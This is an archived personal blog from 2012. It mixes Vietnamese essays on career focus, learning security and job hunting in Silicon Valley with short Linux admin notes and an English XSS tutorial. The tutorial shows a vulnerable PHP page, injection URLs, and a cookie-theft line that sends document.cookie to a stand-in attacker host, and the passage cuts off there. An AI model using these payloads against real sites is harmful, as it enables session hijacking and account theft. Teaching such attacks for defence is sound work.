Sunday, February 26, 2012

một nghề cho chín còn hơn chín nghề

Source: http://vnhacker.blogspot.com/2009/01/mt-ngh-cho-chn-cn-hn-chn-ngh.html
Author: Dương Ngọc Thái

người ta nói, cách tốt nhất để ăn một con voi, là ăn một miếng thịt của nó mỗi ngày. ngẫm lại chuyện học, chuyện làm, mình thấy đây là một lời khuyên có lý. tri thức thì bao la vô tận, không thể nào ngày một ngày hai nắm bắt hết được, mà phải có thời gian, kế hoạch và phương pháp.

có thời gian nghĩa là phải kiên nhẫn và tập trung, ví dụ như muốn ăn một con voi, phải dành ra 3 tháng liên tục. có kế hoạch nghĩa là phải biết mình đang ở đâu và phải làm gì tiếp theo, ví dụ như bây giờ là đang ăn cái đầu, tiếp theo sẽ ăn cái mình của con voi.

có phương pháp nghĩa là phải biết lên kế hoạch, làm thế nào để thực thi kế hoạch trong thời gian dự tính, ví dụ như ăn voi thì phải biết cách xẻ thịt nó ra, biết cách ăn, phải biết con voi thì cái gì ngon, cái gì dở, cái gì cần tập trung ăn kỹ, cái gì bỏ đi cũng được.

trong ba yêu cầu này, cái khó nhất là phương pháp. riêng cách (tự) học, thì trường đại học đã dạy, vấn đề ở đây là không biết nên tập trung học cái gì. lúc này thầy cô, bạn bè, những người đi trước...sẽ là những người chỉ đường tốt nhất.

một kinh nghiệm khác mình rút ra được là đối với lĩnh vực tự nhiên, muốn học xa, học sâu, thì phải bắt đầu từ những môn khoa học cơ bản, trong đó toán là bắt buộc.

những năm đầu đại học, mình đã không hiểu được yêu cầu quan trọng này, nên hết sức lơ là trong việc học toán, hậu quả là những ngày này, mình phải bắt đầu học lại các món lẽ ra phải vững rồi.

nhiều lúc mình tự hỏi, học những thứ này có phí thời gian không? trong khi các bạn xung quanh thì đổ xô đi học MBA, thì mình lại ngồi cặm cụi học đại số tuyến tính, học lý thuyết số, học lý thuyết xác suất & thống kê...mình cũng không biết nữa.

dẫu vậy, mình không hiểu được chuyện, chỉ mới làm trong ngành vài năm, mà có một số bạn đã cảm thấy chán, "muốn gác kiếm", chuyển sang làm kinh doanh hay các vị trí quản lý trung gian, không còn làm kỹ thuật nữa.

mình cũng muốn học về kinh doanh và quản lý, nhưng cái cảm giác chưa nắm vững những kiến thức và kỹ năng nền tảng của cái nghề mình được đào tạo và làm việc bấy lâu nay làm cho mình rất khó chịu.

mỗi lần nghe một bạn lập trình viên kêu chán lập trình sau 3-4 năm làm việc, là mình lại cảm thấy có gì đó rất bứt rứt. kiểu như leo núi, chưa lên đến đỉnh, mà đã vội xuống. đối với mình thì đây mới chính là phí phạm thời gian.

vậy thế nào là lên đến đỉnh, cái gì là nền tảng? mình nghĩ đó là: hiểu hết ngọn ngành và có thể áp dụng tốt những mảng kiến thức của một chương trình đào tạo khoa học máy tính ở các trường đại học.

đây là một nhiệm vụ rất khó, nhưng làm được. làm thế nào thì mình sẽ từ từ trao đổi, dựa trên kinh nghiệm học tập của mình. điều mình muốn nhấn mạnh ở đây là: có cần thiết không?

tôi làm lập trình, thì chỉ cần biết C, Java, .NET hay Ruby, Python là đủ thôi, chứ cần gì phải học về database, operating system hay là networking? tôi làm mạng thì chỉ cần biết TCP/IP, có thêm cái bằng CCNA là tốt rồi, chứ cần gì phải biết lập trình?

kinh nghiệm làm việc của mình cho thấy đây là tư duy sai lầm. biết nhiều hơn bao giờ cũng có lợi, giúp cho công việc đơn giản và dễ dàng hơn rất nhiều

ví dụ một lĩnh vực mà mình biết chắc là nếu học nó, sẽ đem lại nhiều lợi ích, đó là machine learning, nói nôm na là dạy cho máy tính biết cách tự học những kiến thức mới hay nhận dạng được những pattern trong mớ dữ liệu hỗn độn khổng lồ.

cách đây vài năm, mình có mở một công ty, công ty mình có làm một phần mềm chống spam, và phần mềm này chỉ sử dụng một tí xíu kỹ thuật của machine learning thôi, nhưng đã tỏ ra cực kỳ hiệu quả so với các phần mềm không sử dụng kỹ thuật này.

machine learning cũng được đánh giá là kỹ năng số 1 mà bất kỳ nhà tuyển dụng nào cũng muốn ứng viên của họ phải có. cũng phải thôi, với lượng dữ liệu và thông tin khổng lồ được tạo ra mỗi ngày, kẻ nào hiểu được chúng nói gì thì kẻ đó sẽ là người chiến thắng.

quay lại việc các anh kỹ sư máy tính bỏ việc sau khi ra trường vài năm. mình nghĩ đôi khi, chính môi trường làm việc, phải leo cao thì lương nó mới cao, đẩy người ta vào tình thế phải từ bỏ chuyên môn khi chưa đủ độ chín.

mình nghĩ đây cũng là một điểm mà người làm quản lý cần phải chú ý: lương bổng và quyền lợi là một hàm của năng lực và hiệu quả công việc, chứ không phải của chức vụ hay vị trí.

nhìn xung quanh, mình thấy rất khó tìm được ai đó có hơn 10 năm kinh nghiệm làm việc liên tục trong một lĩnh vực kỹ thuật nào đó. cao nhất chỉ là 5 năm.

mình cũng đi làm hơn 5 năm rồi. và mình nghĩ bây nhiêu thời gian chỉ đủ để biết là mình đang thiếu kiến thức và kỹ năng nào, cần phải học thêm cái gì, để làm việc cho tốt hơn.

vả lại, bạn nào cũng học MBA, về làm sếp hết, thì các bạn quản lý ai? những bạn mới ra trường, làm được 3-4 năm khác? rốt cuộc toàn những bạn không có kinh nghiệm và không đủ kiến thức làm việc với nhau.

hậu quả là cái gọi là "nền CNTT VN" toàn phải đi mua đồ của nước ngoài về xài, bởi trong nước không tự sản xuất được, nguyên nhân chính là không có thợ lành nghề. bao nhiêu ngân hàng ở VN sử dụng phần mềm nước ngoài? ngay cả FPT, một công ty tự xem là đi đầu ở VN về công nghệ, nhưng khi thành lập ngân hàng, họ vẫn phải bỏ tiền ra mua phần mềm của Ấn Độ.

nhiều bạn cho rằng, và mình đồng ý, do chúng ta còn non trẻ, chưa có nhiều kinh nghiệm. vậy hà cớ gì khi mới làm việc có vài năm, chưa đâu vào đâu, lại chuyển chuyên môn?

Saturday, February 25, 2012

Học bảo mật

Source: http://www.hvaonline.net/hvaonline/posts/list/1116.hva
Author: conmale

Để có thể bảo mật một cái gì thì việc đầu tiên phải hiểu tường tận cái mình cần bảo mật. Đây là khái niệm tổng thể và căn bản nhất. Kế tiếp, phải hiểu rõ mình bảo vệ với đối tượng nào, trong môi trường nào.

Bảo mật có thể rất sâu và rất rộng. Ví dụ:

- muốn bảo mật desktop --> phải tường tận desktop (nó làm việc ra làm sao, thường bị hỏng hóc chỗ nào, thường bị nghịch phá, làm hỏng trong hoàn cảnh ra sao...)

- muốn bảo mật server --> phải tường tận server (server đó có chức năng gì? cung cấp những dịch vụ gì, những dịch vụ này thường bị sự cố ở đâu? những ai thường "chọc phá" chúng....)

- muốn bảo mật phần mềm ứng dụng --> phải hiểu rõ phần mềm ấy (nó làm gì, cung cấp cái gì và có thể tạo ra những tình huống ra làm sao....)

- muốn bảo mật chính ứng dụng mình viết ra --> phải hiểu rõ mục tiêu người dùng là ai, ứng dụng mình tạo ra có những chức năng cốt lõi là gì.

- muốn bảo mật một hệ thống làm việc --> phải hiểu rõ hệ thống ấy (gồm có những gì, chức năng của từng bộ phận ra làm sao, chúng thường bị sự cố gì, những thành phần nào thường "chọc phá" chúng...).

và ...v..v...

Vậy, câu hỏi "bắt đầu từ đâu" có thể sẽ là: bắt đầu bằng cách làm cho mình tường tận những gì mình muốn bảo mật.

Thế, làm sao để có thể tường tận?
Xác định cụ thể mục tiêu mình muốn bảo mật và bắt đầu từ cái căn bản nhất: cách xử dụng, cách cài đặt, cách điều chỉnh, cách tối ưu, cách mở rộng. Từ đó, những kiến thức thâu thập được trên chặng đường này sẽ giúp mình mở rộng ra những "khu vực" khác của bảo mật.

Đọc sách gì?
Đọc bất cứ sách gì nhưng cần 2 điểm tối quan trọng:
- kiểm chứng và tổng hợp sau khi đọc (kiểm chứng xem điều mình đọc có xác thực không? có ai phát biểu, nhận định gì khác với điều mình đọc không?)
- thực hành và xác thực trong khi và sau khi đọc (thực hành những gì có thể thực hành để nắm được cái thực tế).

Tham khảo ở đâu?
Bất cứ nơi nào cho phép: web, search engine, forums, bạn bè, thầy cô... nhưng 1 điểm tối quan trọng trước khi tham khảo (hỏi) người khác:
- tự đặt một câu hỏi cho hữu lý (nếu chính mình không hiểu câu hỏi thì người khác khó có thể hiểu được điều mình muốn hỏi)
- thử tự mình trả lời trước (nếu không thể tự trả lời, ít nhất mình rõ hơn điều mình đang thắc mắc).

Và 2 điều không thể thiếu: đam mê + kiên nhẫn.

Thân mến.


==========================================================================
Để hiểu tường tận mọi thứ, phải học và làm mọi thứ. Nếu muốn bảo mật web server, phải hiểu cách làm việc của nó, phải biết cách cài đặt, điều chỉnh, tối ưu nó trước khi đụng đến bảo mật. Không biết nó làm việc ra sao thì bảo mật cái gì?

Forum là tầng nằm trên một web server, muốn bảo mật nó phải biết nó làm việc thế nào, điều chỉnh nó ra làm sao. Nếu forum này không cho nguồn hoặc không biết cách điều chỉnh nguồn thì chỉ có thể trông đợi vào bản vá của nhóm cung cấp forum software. Nếu có nguồn và biết cách điều chỉnh, tối ưu nguồn thì phải nắm rõ những điểm yếu của forum nằm ở đâu. Cái này chẳng những đòi hỏi kiến thức lập trình dành cho loại forum ấy mà còn phải hiểu nguyên tắc bảo mật, phải hiểu quy trình dữ liệu được xử lý ra sao và mọi giềng mối thao tác của forum.

Học "hack" trước hay học bảo mật trước là câu hỏi được bàn cãi thường xuyên. Không biết chương trình + hệ thống làm việc ra sao thì làm sao mà "hack"? Ngay cả chưa hiểu thế nào thật sự là "hack" thì làm sao "hack"? Bảo mật đòi hỏi cả chiều rộng lẫn chiều sâu nhưng điều không thể thiếu là kiến thức về hệ thống mình muốn bảo mật.

Nói tóm lại, bắt đầu bằng tư thế của người dùng rồi mới trở thành người dùng thành thạo. Từ đó, mới có thể trở thành "hacker". Nếu chưa phải là người dùng thì khoan nghĩ đến việc trở thành "hacker".

Network tools

http://centralops.net
http://www.onthesamehost.com
http://www.ip-adress.com/reverse_ip 

IP checking
http://www.ipchecking.com/ 
http://software77.net/geo-ip/

Friday, February 24, 2012

GRUB VGA Modes

GRUB allows you to choose the VGA definition it uses when booting. 
(Note: this does not affect the definition in Xorg).
You need to add the option vga=xxx on the kernel stanza in the file /boot/grub/menu.lst.
Of course, replace xxx with the video mode you want. Your kernel stanza will look like this:
kernel /boot/vmlinuz-2.6.18-6-686 root=/dev/sda7 ro vga=791
Here is a list of the available video modes:

Colour depth 640x480 800x600 1024x768 1280x1024 1400x1050 1600x1200
8 (256) 769 771 773 775

15 (32K) 784 787 790 793

16 (65K) 785 788 791 794 834 884
24 (16M) 786 789 792 795

Monday, February 20, 2012

Repository query

To use Repository query you have to install yum-utils package
# yum install yum-utils

Repository query syntax:
# repoquery --whatrequires <package name>

For example:
# repoquery --whatrequires mysql
drupal4-0:4.7.11-1.el5.rf.noarch
drupal6-0:6.9-1.el5.rf.noarch
drupal5-0:5.6-1.el5.rf.noarch
mysql-server-0:5.0.77-4.el5_6.6.x86_64
mysql-devel-0:5.0.95-1.el5_7.1.x86_64
drupal5-0:5.18-1.el5.rf.noarch
MySQL-python-0:1.2.1-1.x86_64
cacti-0:0.8.7a-1.el5.rf.noarch
drupal4-0:4.7.8-1.el5.rf.noarch
mysql-devel-0:5.0.77-4.el5_6.6.x86_64
cacti-0:0.8.6j-1.el5.rf.noarch
mysql-bench-0:5.0.95-1.el5_7.1.x86_64
drupal5-0:5.23-1.el5.rf.noarch
drupal6-0:6.14-1.el5.rf.noarch
cacti-0:0.8.7b-1.el5.rf.noarch
ndoutils-0:1.4-0.beta7.3.el5.rf.x86_64
cacti-0:0.8.7i-2.el5.rf.noarch
drupal6-0:6.16-1.el5.rf.noarch
cacti-0:0.8.7b-2.el5.rf.noarch
drupal5-0:5.17-1.el5.rf.noarch
drupal6-0:6.0-1.el5.rf.noarch
drupal6-0:6.12-1.el5.rf.noarch
mysql-test-0:5.0.95-1.el5_7.1.x86_64
drupal5-0:5.21-1.el5.rf.noarch
drupal6-0:6.8-1.el5.rf.noarch
libdbi-dbd-mysql-0:0.8.1a-1.2.2.x86_64
cacti-0:0.8.7e-1.el5.rf.noarch
drupal5-0:5.3-1.el5.rf.noarch
drupal5-0:5.20-1.el5.rf.noarch
mysql-devel-0:5.0.95-1.el5_7.1.i386
postfix-2:2.3.3-2.3.centos.mysql_pgsql.x86_64
cacti-0:0.8.7g-2.el5.rf.noarch
cacti-0:0.8.7e-3.el5.rf.noarch
cacti-0:0.8.7-1.el5.rf.noarch
drupal5-0:5.7-1.el5.rf.noarch
drupal6-0:6.15-1.el5.rf.noarch
drupal5-0:5.19-1.el5.rf.noarch
mysql-devel-0:5.0.77-4.el5_6.6.i386
cacti-0:0.8.7h-1.el5.rf.noarch
mysql-server-0:5.0.95-1.el5_7.1.x86_64
drupal5-0:5.2-3.el5.rf.noarch
freeradius-mysql-0:1.1.3-1.6.el5.x86_64
drupal6-0:6.11-1.el5.rf.noarch
drupal4-0:4.7.7-1.el5.rf.noarch
drupal5-0:5.22-1.el5.rf.noarch
cacti-0:0.8.7c-1.el5.rf.noarch
drupal6-0:6.1-1.el5.rf.noarch
drupal6-0:6.19-1.el5.rf.noarch
drupal6-0:6.17-1.el5.rf.noarch
cacti-0:0.8.7d-1.el5.rf.noarch
drupal5-0:5.2-1.el5.rf.noarch
mysql-test-0:5.0.77-4.el5_6.6.x86_64
drupal5-0:5.14-1.el5.rf.noarch
cacti-0:0.8.7g-1.el5.rf.noarch
drupal6-0:6.2-1.el5.rf.noarch
drupal5-0:5.2-2.el5.rf.noarch
cacti-0:0.8.7i-1.el5.rf.noarch
mysql-bench-0:5.0.77-4.el5_6.6.x86_64
drupal6-0:6.13-1.el5.rf.noarch
ndoutils-0:1.4-0.beta7.1.el5.rf.x86_64
drupal5-0:5.15-1.el5.rf.noarch

Thursday, February 16, 2012

Solving SVN error

Problem:
   On linux OS, you get the following error:
   svn: /root/.subversion/servers:111: Option expected

Solution:
  vi /root/.subversion/servers
  Go to line 111
  Delete spaces before option

Wednesday, February 15, 2012

Kinh nghiệm tìm việc làm ở Silicon Valley

Author: mrro: http://www.hvaonline.net/hvaonline/posts/list/40593.hva

0. Tôi mới từ Việt Nam chuyển sang sống và làm việc ở Silicon Valley gần một năm nay. Bây giờ tôi đang làm việc ở Google. Hôm nay tôi muốn chia sẻ một số kinh nghiệm tìm việc làm ở Silicon Valley (SV) [1].

Đa số những người Việt đang sống và làm việc ở SV mà tôi có dịp gặp đều là du học sinh, học đại học hoặc là nghiên cứu sinh tiến sĩ ở các trường đại học của Mỹ hoặc các nước, rồi chọn SV để làm việc và định cư lâu dài. Nhiều anh chị ngạc nhiên khi biết tôi không phải là du học sinh. Thú thật là tôi cũng ngạc nhiên, khi thấy có rất ít người từ VN qua đây như tôi. Tôi tin là nhiều kỹ sư ở VN đủ khả năng và có mong muốn tìm được một việc làm ở SV. Nhưng có lẽ ít người có thông tin về các việc làm ở SV cũng như đường đi nước bước. Tôi cũng đang hỗ trợ một vài người bạn tìm việc, nên sẵn tiện viết lại đây một số suy nghĩ.

--

1. Đầu tiên bạn phải tự tin bạn đủ khả năng làm việc ở SV. Trước khi vào Google, tôi làm việc ở một công ty tư vấn nên tôi có dịp gặp gỡ, làm việc với khá nhiều kỹ sư của các hãng phần mềm lớn. Tôi nghĩ phần lớn trong số đó, nhất là những kỹ sư Ấn Độ và Trung Quốc, không giỏi hơn những kỹ sư ở VN mà tôi đã làm việc hoặc học chung trước đây. Hồi tôi mới nhận được email từ Google, tôi cũng nghĩ tôi không đủ tiêu chuẩn và nhận lời phỏng vấn chỉ vì tò mò. Rồi tôi thấy hóa ra phỏng vấn ở Google không quá khó như tôi đã nghĩ. Tất cả các câu hỏi đều xoay quanh những việc tôi đã làm hàng ngày trong nhiều năm. Nói cách khác, nếu bạn làm việc chăm chỉ và kỷ luật, bạn có thể tìm được một công việc tốt ở bất kỳ công ty nào trên thế giới.

Vùng SV thu hút tài năng từ khắp nơi trên thế giới. Các công ty lớn như Google mỗi năm nhận được vài triệu hồ sơ ứng viên. Dẫu vậy hầu hết các công ty đều luôn ở trong tình trạng cần người và lúc nào cũng có vị trí trống. Do đó nếu có một chiến lược tìm việc hiệu quả, bạn sẽ có một việc làm tốt. Đây cũng là ý tiếp theo mà tôi muốn chia sẻ.

--

2. Tôi thấy chiến lược hiệu quả nhất để tìm việc có thể gói gọn trong câu thành ngữ: nhất cự ly, nhì tốc độ. Công ty thường tuyển người thông qua giới thiệu nội bộ và ưu tiên phỏng vấn các ứng viên do nhân viên cử tuyển. Ví dụ như khi cần tìm người Việt phụ trách thị trường VN, nơi đầu tiên mà công ty tìm kiếm ứng viên chính là đội ngũ nhân viên người Việt của họ. Vì vậy bạn cần phải tiếp cận với công ty từ nhiều hướng, càng gần càng tốt, càng nhanh càng tốt. Ví dụ như:

* Tiếp cận với HR thông qua các mạng xã hội như LinkedIn. Với một hồ sơ LinkedIn "bắt mắt", bạn có thể sẽ nhận được nhiều lời mời hấp dẫn. Tôi nhận được email đầu tiên của Google là qua LinkedIn.

* Tiếp cận với nhân viên hiện tại thông qua các dự án nguồn mở của công ty. Cơ hội được tuyển dụng của bạn sẽ tăng lên 2000% nếu như bạn được một nhân viên của công ty cử tuyển. Rất nhiều công ty có các dự án nguồn mở và sẽ rất khó để họ làm ngơ bạn một khi bạn có những đóng góp đáng kể vào các dự án đó.

* Tiếp cận với nhóm người Việt đang làm việc ở công ty đó. Tương tự như ý vừa rồi, đây cũng là một cách để hồ sơ của bạn được gửi trực tiếp đến những nơi cần đến mà không phải qua vòng sơ loại.

* Tham gia các cuộc thi và sự kiện do công ty tổ chức. Các công ty tổ chức thi thố cũng là để tìm kiếm tài năng, nên mỗi cuộc thi là một cơ hội cho bạn thể hiện với nhà tuyển dụng.

* Tiếp cận công nghệ bằng cách trở thành chuyên gia của một lĩnh vực mà công ty rất cần. Đây là cách tiếp cận khó nhất nhưng cũng là cách hiệu quả nhất.

* Tiếp cận địa lý bằng cách chuyển đến SV hoặc các khu vực khác ở Mỹ. Tôi thấy các công ty thường ưu tiên các ứng viên đang ở SV (vì chi phí tuyển dụng sẽ rẻ hơn), nên nếu bạn có cơ hội, bạn hãy chuyển đến SV.

* Tiếp cận với các công ty gia công có trụ sở tại VN. Tôi có hai người bạn trước đây được TMA gửi sang SV làm gia công cho một số hãng, rồi nhân cơ hội đó tìm việc làm và ở lại SV làm việc lâu dài luôn.

* Nếu bạn là sinh viên thì hãy ứng tuyển làm thực tập sinh. Điều kiện tuyển thực tập sinh thường dễ hơn nhân viên chính thức nên cơ hội của bạn sẽ cao hơn. Làm thực tập sinh cũng là con đường ngắn nhất để trở thành nhân viên chính thức.

--

3. Hai phần tôi vừa đưa ra là những ý quan trọng nhất quyết định phần lớn sự thành bại trong quá trình tìm việc của bạn. Phần tiếp theo tôi sẽ bàn sơ qua về việc thực hiện những ý này như thế nào.

Chuẩn bị

Bạn hãy tự hỏi thế này: bạn sẽ làm gì để chuẩn bị cho buổi phỏng vấn của bạn ở Facebook? Tôi nghĩ danh sách sẽ dài và rất may là bạn còn nhiều thời gian. Dẫu vậy, đừng chần chờ, mà hãy bắt tay vào ngay hôm nay. Bạn không thể biết cơ hội sẽ đến lúc nào, nên cách tốt nhất là phải chuẩn bị tốt.

Rõ ràng bạn cần phải chuẩn bị là tiếng Anh. Nếu bạn không thể sử dụng thành thạo tiếng Anh thì hãy dừng lại hết mọi việc để tập trung học tiếng Anh, cho đến khi nào bạn có thể giao tiếp bằng tiếng Anh qua điện thoại.

Chuẩn bị về nghề nghiệp chuyên môn thì phụ thuộc vào công việc mà bạn muốn làm. Đa số công việc ở SV là kỹ sư phần mềm. Với vị trí này, bạn có thể tham khao bài viết của Steve Yegge [2] để biết nên có những kiến thức nào. Tôi sẽ viết một bài dành riêng cho những bạn muốn làm kỹ sư an ninh ứng dụng.

Ngoài ra, bạn nên tìm đọc những cuốn sách cần đọc khi học khoa học máy tính [3] và theo học các lớp học miễn phí [4] của các đại học lớn như Stanford và MIT. Nếu bạn đạt được kết quả tốt trong các môn học này thì đó sẽ là một điểm rất sáng trong hồ sơ của bạn.

Giỏi tiếng Anh và giỏi chuyên môn sẽ giúp bạn thực hiện những chiến thuật tiếp cận mà tôi liệt kê ở trên. Tiếp cận càng gần và càng nhanh thì bạn sẽ càng có nhiều cơ hội. Để nắm bắt các cơ hội thì bạn cần phải có một hồ sơ cá nhân "đẹp" và kỹ năng phỏng vấn tốt.

Làm hồ sơ cá nhân (resumè)

Bạn cần hai hồ sơ khác nhau. Một hồ sơ trên LinkedIn để thu hút các cơ hội nghề nghiệp từ HR và những nguồn khác. Hồ sơ thứ hai là hồ sơ mà bạn gửi cho những nhà tuyển dụng khi họ yêu cầu.

Với hồ sơ LinkedIn, bạn nên tập trung vào các mảng kỹ năng chuyên môn, trình độ học vấn và các giải thưởng nếu có. Sự thật là những tay "săn đầu người" thường đánh giá ứng viên thông qua các từ khóa , nên đây là nơi mà bạn càng có nhiều từ khóa nổi bật càng tốt. Đó là lý do tôi khuyên bạn nên tìm học các lớp học miễn phí của Stanford, bởi nếu bạn đạt được điểm tốt, thì bạn có thể có được từ khóa Stanford rất nặng ký trong hồ sơ của bạn.

Với hồ sơ mà bạn gửi cho nhà tuyển dụng, bạn phải khiêm tốn. Càng khiêm tốn càng tốt. Với người có ít hơn 10 năm kinh nghiệm làm việc, tôi nghĩ 1 trang A4 là đủ. Hồ sơ nên làm bằng LaTex, xuất ra tệp PDF với các đề mục chính như thông tin liên lạc, học vấn, kinh nghiệm làm việc, kỹ năng chuyên môn và giải thưởng nếu có. Nếu bạn có làm phần mềm hoặc có làm nghiên cứu thì có thể liệt kê những công trình nổi bật nhất.

Bạn cần phải cẩn trọng khi liệt kê các kỹ năng của bạn, bởi người phỏng vấn sẽ dựa vào đó mà đặt câu hỏi. Chỉ liệt kê những gì mà bạn thật sự "rành sáu câu". Tuyệt đối không liệt kê những mảng công việc mà bạn chỉ làm qua loa hoặc đã làm quá lâu nên bây giờ bạn không còn nhớ. Tuyệt đối không liệt kê quá nhiều từ khóa cùng một lúc, nếu không thì chính bạn sẽ là nạn nhân. Bạn nên hiểu rằng người phỏng vấn bạn rất có thể là những người tiên phong và là chuyên gia hàng đầu về các kỹ năng mà bạn ghi trong hồ sơ.

Sau khi làm hồ sơ, bạn nên gửi cho bạn bè hoặc đồng nghiệp đánh giá và phê bình. Bạn cũng có thể gửi cho tôi nếu bạn muốn.

Phỏng vấn

Một cách chuẩn bị cho buổi phỏng vấn là thử sức với các câu hỏi phỏng vấn trên mạng. Tôi nghĩ có hẳn vài cuốn sách viết về các câu hỏi này. Blog KHMT cũng có một bộ câu hỏi phỏng vấn rất thú vị [5]. Tôi chưa từng gặp các câu hỏi kiểu như "Làm sao để dời một ngọn núi?", nên tôi nghĩ bạn cũng không cần phải bỏ nhiều thời gian cho dạng câu hỏi đó.

Bạn cũng nên thử phỏng vấn với bạn bè và đồng nghiệp. Nếu có cơ hội, thử phỏng vấn với các công ty khác nhau, bất kể bạn có muốn làm việc cho họ hay không. Việc phỏng vấn sẽ giúp bạn nhận ra những điểm yếu trong kiến thức cũng như kỹ năng phỏng vấn, để có thể khắc phục kịp thời trước khi phỏng vấn với công ty mà bạn yêu thích.

Thông thường thì bạn sẽ được phỏng vấn qua điện thoại trước. Cuộc phỏng vấn ngắn đầu tiên là của HR, sau đó sẽ có trung bình 2 cuộc phỏng vấn kỹ thuật khác. Bạn nên sử dụng điện thoại bàn có loa lớn, không nên trả lời phỏng vấn qua điện thoại di động. Nếu được thì yêu cầu họ phỏng vấn qua Skype hoặc Google+ Hangout, để lỡ như bạn không nghe kịp, thì bạn có thể hỏi họ lại qua cửa sổ chat . Trước khi trả lời, bạn nên nhắc lại câu hỏi và cũng đừng ngại hỏi lại câu hỏi nếu bạn không nghe kịp hoặc không hiểu.

Nếu vượt qua được các cuộc phỏng vấn qua điện thoại (chúc mừng!), bạn sẽ được mời đến trụ sở của công ty để phỏng vấn. Thông thường bạn sẽ phỏng vấn liên tục với nhiều người trong một ngày. Như tôi đã nói ở trên, thực tế các buổi phỏng vấn không khó. Các câu hỏi chỉ xoay quanh những kỹ năng mà bạn liệt kê trong hồ sơ, nên hãy an tâm nếu bạn đã có quá trình làm việc chăm chỉ. Chúc thành công!

Vượt qua được vòng phỏng vấn rồi thì 90% là bạn sẽ được tuyển dụng. Lúc này một bước quan trọng là thỏa thuận lương bổng, điều kiện làm việc.

Thỏa thuận lương bổng

Lưu ý là mọi thỏa thuận lương bổng ở SV đều là trước thuế và có rất nhiều loại thuế bạn phải đóng. Ví dụ tôi phải nộp gần 40% thu nhập cho thuế.

Hiện giờ thì mức thu nhập trung bình của kỹ sư phần mềm mới ra trường ở SV tôi nghĩ là ở mức 80.000 USD/năm. Mỗi năm kinh nghiệm bạn có thể tính thêm 10%. Trong quá trình đàm phán lương bổng, có thể HR sẽ hỏi mức lương ở công ty cũ của bạn. Bạn không phải và không nên trả lời câu hỏi này, bởi có thể HR đang tìm lý do để hạ lương bạn xuống .

Thường các công ty sẽ gửi cho bạn một thư đề nghị (offer letter), trong đó ngoài con số lương chính thức, còn có thể có:

* Số ngày nghỉ phép ăn lương. Thông thường là từ 10 ngày đến 15 ngày.

* Mức thưởng hàng năm. Đa số các công ty đều có quy định một mức cụ thể và bạn có thể được hơn nếu làm tốt.

* Cổ phần của công ty. Cái này thì có quá nhiều dạng nên tôi không bàn ở đây.

* Các loại bảo hiểm, bao gồm bảo hiểm sức khỏe, mắt, răng và bảo hiểm nhân thọ. Thông thường các công ty sẽ trả một phần và bạn sẽ trả một phần. Không có bảo hiểm thì khó mà sống sót được ở Mỹ, nên bạn phải coi kỹ các loại bảo hiểm mà công ty tài trợ.

* Tiền thưởng ký hợp đồng. Công ty sẽ gửi cho bạn một khoản "lót tay" nếu bạn đồng ý làm việc cho họ.

* Tiền chuyển địa điểm. Công ty sẽ tài trợ vé máy bay cũng như các khoản phí khác để bạn chuyển từ VN sang SV.

* Hưu trí và các lợi ích khác.

Đừng bao giờ vội vàng chấp nhận offer. Đây là một cuộc thương lượng và không có lý do gì bạn phải đồng ý với đề nghị đầu tiên của đối phương. Có những thứ mà bạn có thể thương lượng: tiền lương, cổ phần, tiền thưởng ký hợp đồng và tiền chuyển địa điểm. Rất có thể chỉ sau một vài email mà bạn sẽ có vài chục ngàn Mỹ kim .

Chúc may mắn!

-m

--

[1]: Về mặt địa lý thì các công ty công nghệ không còn chỉ tập trung ở khu vực Silicon Valley nữa, mà đã lan rộng ra khắp vùng vịnh San Francisco. Tôi gọi chung là Silicon Valley vì địa danh này quen thuộc với nhiều người.

[2]: http://steve-yegge.blogspot.com/2008/03/get-that-job-at-google.html

[3]: http://www.procul.org/blog/2007/10/01/sach-khmt/

[4]: http://openclassroom.stanford.edu/MainFolder/HomePage.php

[5]: http://www.procul.org/blog/selected_posts/

Wednesday, February 8, 2012

XSS Tutorial

This page is designed to give an overview of Cross Site Scripting attacks on web sites, how they come into being, how to exploit them and how to protect against them.

To fully comprehend Cross Site Scripting, or XSS as it is known (CSS is NOT used as an abbreviation because it causes confusion when talking about Cascading Style Sheets), it is necessary to have a basic understanding of (X)HTML, JavaScript and Server Side Scripting. For the purposes of this tutorial the server side scripting language used in examples will be PHP, but this entire document is equally applicable to ASP, JSP and .NET.

To begin with, consider the following basic PHP page, test.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
 
 <head>
  <title>XSS Introduction</title>
 </head>
 
 <body>
  <a href="<?php echo $_GET['linklocation']; ?>">This is a link</a>
 </body>
 
</html>
This page takes the url GET parameter “linklocation” and puts it as the href property of the link tag, so visiting test.php?linklocation=test.htm will render the link as:

<a href="test.htm">This is a link</a>


So far so good.
However, this page is vulnerable to a Cross Site Scripting attack because it does not perform sanitization of the input. It is quite clear to a human that the intention of the script is to write the user input into the href attribute of the link tag. However, it is possible with this script to inejct malicious input that will close the href attribute and therefore write the contents of our user input directly into the XHTML document. For an example of this consider the following url:
test.php?linklocation=test.htm" style=color:red>link1</a> <a href="test2.htm


When this url is passed to the above script some interesting things happen. When the first ” is encountered the input has succesfully closed the href attribute and is writing directly into the document – in this case adding an additional style attribute to the link and then writing out an entirely new second link tag! The rendered HTML from this injection looks like this:

<a href="test.htm%5C" style="color: red;">link1</a> <a href="%5C%22test2.htm%22">This is a link</a>


But hang on, what are those funny %5C things? These are inserted automatically in PHP’s attempt to protect the programmer by a system known as magic_quotes which automatically inserts a \ (backslash) before any type of quote (single or double). This is because, in many circumstances, this will protect you from injection attacks as \” is not normally considered the same as ” – except this has no effect on XHTML, so in this instance, magic_quotes is NOT sufficient protection.
As you can see if you run this example what is actually generated are two hyperlinks, one red and the other plain.
So what? Why is this useful? Well, firstly it should be fairly obvious that an attacker can easily write their own malicious content into a website in this fashion, but secondly, and more dangerously, they can inject the <script> attribute which enables them to execute code in the context of the victim’s browser.
As an initial proof of concept of this, consider the following url:
test.php?linklocation=test.htm%22 >who cares</a><script>alert(1)</script><a href="test.htm

which generates:
<a href="test.htm%5C">who cares</a><script>alert(1)</script><a href="%5C%22test.htm%22">This is a link</a>

Running this url will cause a pop-up dialog to appear with “1″ as its text. However, now we can inject any JavaScript, there is far more potential for danger than just popping up dialog boxes. The document.cookie property contains all the cookie data for a site, data which, if transmitted to an attacker, will theoretically allow them to impersonate the victim’s login details.
There are two main ways to transmit cookie data from the victim to the attacker by JavaScript. The first is very unsubtle and involves the JavaScript code:

document.location = 'http://www.attacker.com/stealer.php?cookie=' + document.cookie;

